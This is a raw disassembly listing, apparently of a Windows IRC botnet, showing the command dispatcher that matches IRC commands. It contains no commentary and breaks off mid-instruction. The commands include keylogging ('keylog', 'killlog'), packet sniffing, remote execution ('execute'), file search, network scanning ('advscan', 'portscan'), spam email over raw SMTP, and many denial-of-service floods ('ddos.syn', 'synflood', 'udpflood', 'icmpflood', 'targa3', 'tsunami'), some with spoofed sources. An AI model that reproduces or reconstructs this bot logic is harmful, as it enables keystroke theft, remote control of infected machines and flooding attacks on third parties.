eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405CDB mov esi, offset aSniff ; "#sniff#" push offset byte_4404C4 push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_405CDB mov esi, [ebp+var_88] loc_405CDB: ; CODE XREF: sub_401AA1+421Cj ; sub_401AA1+4232j push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41BFF0 lea eax, [ebp+var_2C0] push offset unk_42D77C push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 21h push eax call sub_40B254 add esp, 20h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_413444 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_405D5E call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42D740 jmp loc_404968 ; --------------------------------------------------------------------------- loc_405D56: ; CODE XREF: sub_401AA1+42C3j push 32h call dword_428080 ; Sleep loc_405D5E: ; CODE XREF: sub_401AA1+42A2j cmp [ebp+var_E38], ebx jz short loc_405D56 jmp loc_406DEB ; --------------------------------------------------------------------------- loc_405D6B: ; CODE XREF: sub_401AA1+41DCj push edi push offset aOff ; "off" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_406DEB push ebx push 21h call sub_40B449 pop ecx cmp eax, ebx pop ecx jle short loc_405D99 push eax push offset unk_42D708 jmp loc_404968 ; --------------------------------------------------------------------------- loc_405D99: ; CODE XREF: sub_401AA1+42EBj push offset unk_42D6E0 jmp loc_406DDD ; --------------------------------------------------------------------------- loc_405DA3: ; CODE XREF: sub_401AA1+41C7j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_405E76 push edi push offset aOn ; "on" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_405E3E push 2 call sub_40B496 test eax, eax pop ecx lea eax, [ebp+var_2C0] jle short loc_405DE7 push offset dword_42D698 jmp loc_406DE3 ; --------------------------------------------------------------------------- loc_405DE7: ; CODE XREF: sub_401AA1+433Aj push offset unk_42D650 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 2 push eax call sub_40B254 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_410EAC push ebx push ebx call dword_428084 ; CreateThread imul esi, 234h cmp eax, ebx mov dword_44125C[esi], eax jnz loc_406DEB call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42D600 jmp loc_404968 ; --------------------------------------------------------------------------- loc_405E3E: ; CODE XREF: sub_401AA1+4328j push edi push offset aOff ; "off" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_406DEB push ebx push 2 call sub_40B449 pop ecx cmp eax, ebx pop ecx jle short loc_405E6C push eax push offset unk_42D5B0 jmp loc_404968 ; --------------------------------------------------------------------------- loc_405E6C: ; CODE XREF: sub_401AA1+43BEj push offset unk_42D570 jmp loc_406DDD ; --------------------------------------------------------------------------- loc_405E76: ; CODE XREF: sub_401AA1+4313j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408C56 push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408C56 push [ebp+arg_8] push offset aKeystop ; "keystop" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408C2D push [ebp+arg_8] push offset aKstop ; "kstop" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408C2D push [ebp+arg_8] push offset aNet ; "net" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_40617C cmp dword_4CE3D4, ebx jz short loc_405F03 cmp dword_4CE3FC, ebx jz short loc_405F03 push offset unk_42D510 jmp loc_406169 ; --------------------------------------------------------------------------- loc_405F03: ; CODE XREF: sub_401AA1+444Ej ; sub_401AA1+4456j cmp [ebp+var_C], ebx jz loc_406BC3 mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F2B push eax push [ebp+var_C] call sub_41BF70 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F2B: ; CODE XREF: sub_401AA1+447Aj push edi push offset aStart ; "start" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_405F97 cmp [ebp+arg_18], ebx jz short loc_405F65 push [ebp+arg_0] push 3 loc_405F46: ; CODE XREF: sub_401AA1+450Cj ; sub_401AA1+4524j ... call sub_418D56 push eax lea eax, [ebp+var_2C0] push offset aS_2 ; "%s" push eax call sub_41BEF6 add esp, 14h jmp loc_406BC3 ; --------------------------------------------------------------------------- loc_405F65: ; CODE XREF: sub_401AA1+449Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418FFD add esp, 0Ch test eax, eax lea eax, [ebp+var_2C0] jz short loc_405F8D push offset unk_42D4E4 jmp loc_40616F ; --------------------------------------------------------------------------- loc_405F8D: ; CODE XREF: sub_401AA1+44E0j push offset unk_42D4C4 jmp loc_40616F ; --------------------------------------------------------------------------- loc_405F97: ; CODE XREF: sub_401AA1+4499j push edi push offset aStop ; "stop" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_405FAF push [ebp+arg_0] push 4 jmp short loc_405F46 ; --------------------------------------------------------------------------- loc_405FAF: ; CODE XREF: sub_401AA1+4505j push edi push offset aPause ; "pause" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_405FCA push [ebp+arg_0] push 5 jmp loc_405F46 ; --------------------------------------------------------------------------- loc_405FCA: ; CODE XREF: sub_401AA1+451Dj push edi push offset aContinue ; "continue" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_405FE5 push [ebp+arg_0] push 6 jmp loc_405F46 ; --------------------------------------------------------------------------- loc_405FE5: ; CODE XREF: sub_401AA1+4538j push edi push offset aDelete ; "delete" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_406000 push [ebp+arg_0] push 1 jmp loc_405F46 ; --------------------------------------------------------------------------- loc_406000: ; CODE XREF: sub_401AA1+4553j push edi push offset aShare ; "share" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_406083 cmp [ebp+arg_18], ebx jz short loc_406050 cmp [ebp+var_8FC], bl jz short loc_406026 push ebx push [ebp+arg_18] push 1 jmp short loc_406031 ; --------------------------------------------------------------------------- loc_406026: ; CODE XREF: sub_401AA1+457Bj push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_406031: ; CODE XREF: sub_401AA1+4583j call sub_41913D push eax lea eax, [ebp+var_2C0] push offset aS_2 ; "%s" push eax call sub_41BEF6 add esp, 18h jmp loc_406BC3 ; --------------------------------------------------------------------------- loc_406050: ; CODE XREF: sub_401AA1+4573j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_419332 add esp, 10h test eax, eax lea eax, [ebp+var_2C0] jz short loc_406079 push offset unk_42D47C jmp loc_40616F ; --------------------------------------------------------------------------- loc_406079: ; CODE XREF: sub_401AA1+45CCj push offset unk_42D45C jmp loc_40616F ; --------------------------------------------------------------------------- loc_406083: ; CODE XREF: sub_401AA1+456Ej push edi push offset aUser ; "user" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_406119 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4060EC push [ebp+var_4] cmp [ebp+var_8FC], bl push [ebp+var_88] push [ebp+arg_4] jz short loc_4060B9 push ebx push eax push 1 jmp short loc_4060CD ; --------------------------------------------------------------------------- loc_4060B9: ; CODE XREF: sub_401AA1+4610j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_4060C9 push esi push eax push ebx jmp short loc_4060CD ; --------------------------------------------------------------------------- loc_4060C9: ; CODE XREF: sub_401AA1+4621j push ebx push eax push 2 loc_4060CD: ; CODE XREF: sub_401AA1+4616j ; sub_401AA1+4626j call sub_419453 push eax lea eax, [ebp+var_2C0] push offset aS_2 ; "%s" push eax call sub_41BEF6 add esp, 24h jmp loc_406BC3 ; --------------------------------------------------------------------------- loc_4060EC: ; CODE XREF: sub_401AA1+45FCj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_419967 add esp, 10h test eax, eax lea eax, [ebp+var_2C0] jz short loc_406112 push offset unk_42D43C jmp short loc_40616F ; --------------------------------------------------------------------------- loc_406112: ; CODE XREF: sub_401AA1+4668j push offset unk_42D41C jmp short loc_40616F ; --------------------------------------------------------------------------- loc_406119: ; CODE XREF: sub_401AA1+45F1j push edi push offset aSend ; "send" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_406164 cmp [ebp+arg_18], ebx jz short loc_40615D push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419C11 push eax lea eax, [ebp+var_2C0] push offset aS_2 ; "%s" push eax call sub_41BEF6 add esp, 1Ch jmp loc_406BC3 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401AA1+468Cj push offset unk_42D3F0 jmp short loc_406169 ; --------------------------------------------------------------------------- loc_406164: ; CODE XREF: sub_401AA1+4687j push offset unk_42D3D4 loc_406169: ; CODE XREF: sub_401AA1+2E23j ; sub_401AA1+445Dj ... lea eax, [ebp+var_2C0] loc_40616F: ; CODE XREF: sub_401AA1+44E7j ; sub_401AA1+44F1j ... push eax call sub_41BEF6 pop ecx pop ecx jmp loc_406BC3 ; --------------------------------------------------------------------------- loc_40617C: ; CODE XREF: sub_401AA1+4442j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408B4F push [ebp+arg_8] push offset aGh ; "gh" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408B4F loc_4061AA: ; CODE XREF: sub_401AA1+3C77j ; sub_401AA1+3CADj ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F20 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408B32 push [ebp+arg_8] push offset aKl ; "kl" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408B32 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408AF3 push [ebp+arg_8] push offset aAa ; "aa" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408AF3 push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408A9D push [ebp+arg_8] push offset dword_42DB4C call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408A9D push [ebp+arg_8] push offset aAction ; "action" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408A2F push [ebp+arg_8] push offset aA ; "a" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408A2F push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4089C9 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4089C9 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40898D push [ebp+arg_8] push offset aM ; "m" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40898D push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408922 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408922 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4088A0 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4088A0 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408832 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408832 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40880C push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40880C push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4087AC push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4087AC push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4086B4 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4086B4 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4085E3 push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4085E3 push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408514 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408514 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408479 push [ebp+arg_8] push offset aDe ; "de" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408479 push [ebp+arg_8] push offset aStyle ; "style" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4082FF push [ebp+arg_8] push offset aUpd4t3z ; "upd4t3z" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4082FF push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408266 push [ebp+arg_8] push offset aE ; "e" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408266 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40815A push [ebp+arg_8] push offset aFf ; "ff" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40815A push [ebp+arg_8] push offset aRename ; "rename" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408106 push [ebp+arg_8] push offset aMv ; "mv" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_408106 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40800C push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40800C mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F20 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407F25 push [ebp+arg_8] push offset aC ; "c" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407F25 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407E14 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407E14 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407E14 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4066BC push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BC60 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BC60 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BC60 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BC60 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C0] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B254 add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset sub_415478 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_4066AF call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42D254 jmp loc_403DDD ; --------------------------------------------------------------------------- loc_4066A7: ; CODE XREF: sub_401AA1+4C14j push 32h call dword_428080 ; Sleep loc_4066AF: ; CODE XREF: sub_401AA1+4BF3j cmp [ebp+var_3074], ebx jz short loc_4066A7 jmp loc_403DEC ; --------------------------------------------------------------------------- loc_4066BC: ; CODE XREF: sub_401AA1+4B49j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407D2D push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407D2D push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4067E8 push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BC60 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BC60 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BC60 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BC60 mov eax, [ebp+var_4] push [ebp+arg_0] mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C0] push edi push offset dword_42D20C push eax mov [ebp+var_36AC], esi call sub_41BEF6 add esp, 44h lea eax, [ebp+var_2C0] push ebx push 10h push eax call sub_40B254 add esp, 0Ch mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset sub_4143F3 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_4067DB call dword_428094 ; RtlGetLastWin32Error push eax push offset dword_42D1D0 jmp loc_407EF2 ; --------------------------------------------------------------------------- loc_4067D3: ; CODE XREF: sub_401AA1+4D40j push 32h call dword_428080 ; Sleep loc_4067DB: ; CODE XREF: sub_401AA1+4D1Fj cmp [ebp+var_349C], ebx jz short loc_4067D3 jmp loc_407F01 ; --------------------------------------------------------------------------- loc_4067E8: ; CODE XREF: sub_401AA1+4C5Aj push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407C46 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407C46 push [ebp+arg_8] push offset aDdrs ; "ddrs" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407B0C push [ebp+arg_8] push offset aG3t ; "g3t" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407B0C push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407A13 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407A13 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40792C push [ebp+arg_8] push offset aSc ; "sc" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40792C push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407857 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407857 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407745 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407745 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_1C], eax jz loc_401F20 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407640 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407640 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407168 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407168 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407049 push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407049 push [ebp+arg_8] push offset aU ; "u" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_407049 push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_406F3B push [ebp+arg_8] push offset aNs ; "ns" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_406F3B push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_406E15 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_406E15 push [ebp+arg_8] push offset aP ; "p" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_406E15 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_406C53 push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_406C53 push [ebp+arg_8] push offset aEmail ; "email" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_406BFB lea eax, [ebp+var_46F0] push edi push eax call sub_41C520 push [ebp+arg_18] call sub_41BDE9 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C520 push [ebp+arg_1C] lea eax, [ebp+var_458C] push eax call sub_41C520 push offset asc_42F5E8 ; " " push offset dword_42DB48 push [ebp+esi+var_7C] call sub_418584 push eax lea eax, [ebp+var_408C] push eax call sub_41C520 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4CE278 ; WSAStartup lea eax, [ebp+var_46F0] push eax call dword_4CE38C ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4CE388 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CE308 ; ntohs mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41BEF6 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CE2B0 ; connect mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CE320 ; recv lea eax, [ebp+var_448C] push ebx push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4CE358 ; send push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CE320 ; recv push esi call dword_4CE3A0 ; closesocket call dword_4CE260 ; WSACleanup lea eax, [ebp+var_458C] push eax push offset unk_42D094 loc_406BB4: ; CODE XREF: sub_401AA1+2E32j ; sub_401AA1+6551j ... lea eax, [ebp+var_2C0] loc_406BBA: ; CODE XREF: sub_401AA1+6859j push eax call sub_41BEF6 loc_406BC0: ; CODE XREF: sub_401AA1+23EEj add esp, 0Ch loc_406BC3: ; CODE XREF: sub_401AA1+4465j ; sub_401AA1+44BFj ... cmp [ebp+var_8], ebx jnz short loc_406BE4 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h loc_406BE4: ; CODE XREF: sub_401AA1+2941j ; sub_401AA1+2956j ... mov esi, [ebp+arg_24] loc_406BE7: ; CODE XREF: sub_401AA1+8FBj ; sub_401AA1+76B0j ... lea eax, [ebp+var_2C0] push eax call sub_415F45 pop ecx mov eax, esi jmp loc_401F23 ; --------------------------------------------------------------------------- loc_406BFB: ; CODE XREF: sub_401AA1+4FBDj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_406C25 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4071BA loc_406C25: ; CODE XREF: sub_401AA1+516Bj push [ebp+esi+var_7C] push [ebp+arg_1C] push [ebp+arg_0] push [ebp+arg_18] call sub_41BDE9 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410D8B jmp loc_409564 ; --------------------------------------------------------------------------- loc_406C53: ; CODE XREF: sub_401AA1+4F8Fj ; sub_401AA1+4FA6j mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41BFF0 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41C6E0 add esp, 14h test eax, eax jz short loc_406CB6 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_406CB6 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_406CB6 push offset unk_42D04C jmp loc_406DDD ; --------------------------------------------------------------------------- loc_406CB6: ; CODE XREF: sub_401AA1+51DBj ; sub_401AA1+51F2j ... push [ebp+arg_1C] call sub_41BDE9 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406DD8 push edi lea eax, [ebp+var_1358] push esi push eax call sub_41BFF0 push [ebp+arg_18] lea eax, [ebp+var_13D8] push esi push eax call sub_41BFF0 push [ebp+arg_0] call sub_41BDE9 mov [ebp+var_1254], eax xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41BFF0 mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406D4D mov eax, offset aNormal ; "Normal" loc_406D4D: ; CODE XREF: sub_401AA1+52A5j push [ebp+arg_1C] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42D008 lea eax, [ebp+var_2C0] push 200h push eax call sub_41BFF0 push ebx lea eax, [ebp+var_2C0] push 14h push eax call sub_40B254 add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset sub_414BED push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_406DCE call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42CFD0 jmp loc_404968 ; --------------------------------------------------------------------------- loc_406DC6: ; CODE XREF: sub_401AA1+5333j push 32h call dword_428080 ; Sleep loc_406DCE: ; CODE XREF: sub_401AA1+5312j cmp [ebp+var_1240], ebx jz short loc_406DC6 jmp short loc_406DEB ; --------------------------------------------------------------------------- loc_406DD8: ; CODE XREF: sub_401AA1+5226j push offset unk_42CF98 loc_406DDD: ; CODE XREF: sub_401AA1+1F74j ; sub_401AA1+1F8Aj ... lea eax, [ebp+var_2C0] loc_406DE3: ; CODE XREF: sub_401AA1+4341j push eax call sub_41BEF6 pop ecx pop ecx loc_406DEB: ; CODE XREF: sub_401AA1+20A5j ; sub_401AA1+2EADj ... cmp [ebp+var_8], ebx jnz loc_402399 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_406E08: ; CODE XREF: sub_401AA1+2364j call sub_409743 add esp, 14h jmp loc_402399 ; --------------------------------------------------------------------------- loc_406E15: ; CODE XREF: sub_401AA1+4F4Aj ; sub_401AA1+4F61j ... cmp dword_4CE3F4, ebx jnz loc_406F20 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BC60 push [ebp+arg_18] call sub_41BDE9 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41BDE9 push [ebp+arg_1C] mov [ebp+var_100C], eax call sub_41BDE9 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BC60 push [ebp+var_1008] mov eax, [ebp+arg_4] mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_100C] push eax lea eax, [ebp+var_2C0] push [ebp+var_1010] push offset unk_42CF50 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 16h push eax call sub_40B254 add esp, 48h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset sub_414050 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short 